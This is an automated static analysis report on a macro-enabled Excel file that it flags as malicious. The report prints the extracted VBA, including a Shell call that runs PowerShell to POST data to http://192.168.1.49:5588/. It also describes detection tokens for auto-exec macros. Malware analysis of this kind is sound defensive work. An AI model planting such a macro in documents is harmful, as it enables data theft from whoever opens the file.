Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fed521987b41236c…

MALICIOUS

Office (OOXML)

17.7 KB Created: 2020-09-29 09:23:15 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-10-03
MD5: ec3f36f821db8148009c6b51de19181c SHA-1: 66fc398735437945abae8bd41bdad3cdb960a3fc SHA-256: fed521987b41236ca061ddf7cedb321bb665c950163c756fdca438ba9deedbef
222 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell("cmd.exe /c powershell /c Invoke-WebRequest -Uri http://192.168.1.49:5588/ -Method POST -Body $OutputVariable")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Call Shell("cmd.exe /c powershell /c Invoke-WebRequest -Uri http://192.168.1.49:5588/ -Method POST -Body $OutputVariable")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Call Shell("cmd.exe /c powershell /c Invoke-WebRequest -Uri http://192.168.1.49:5588/ -Method POST -Body $OutputVariable")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.1.49:5588/ In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 815 bytes
SHA-256: 1647d54c311b8dfe89b9db3d26afed577838396f93f8ae71b8b70279b14d90aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Feuil1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module2"
Sub Rude()
Call Shell("cmd.exe /c powershell /c Invoke-WebRequest -Uri http://192.168.1.49:5588/ -Method POST -Body $OutputVariable")
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: b1554686556b06e133bdd8379f9a04b13c9bd4b1faddde122de016523c44c661

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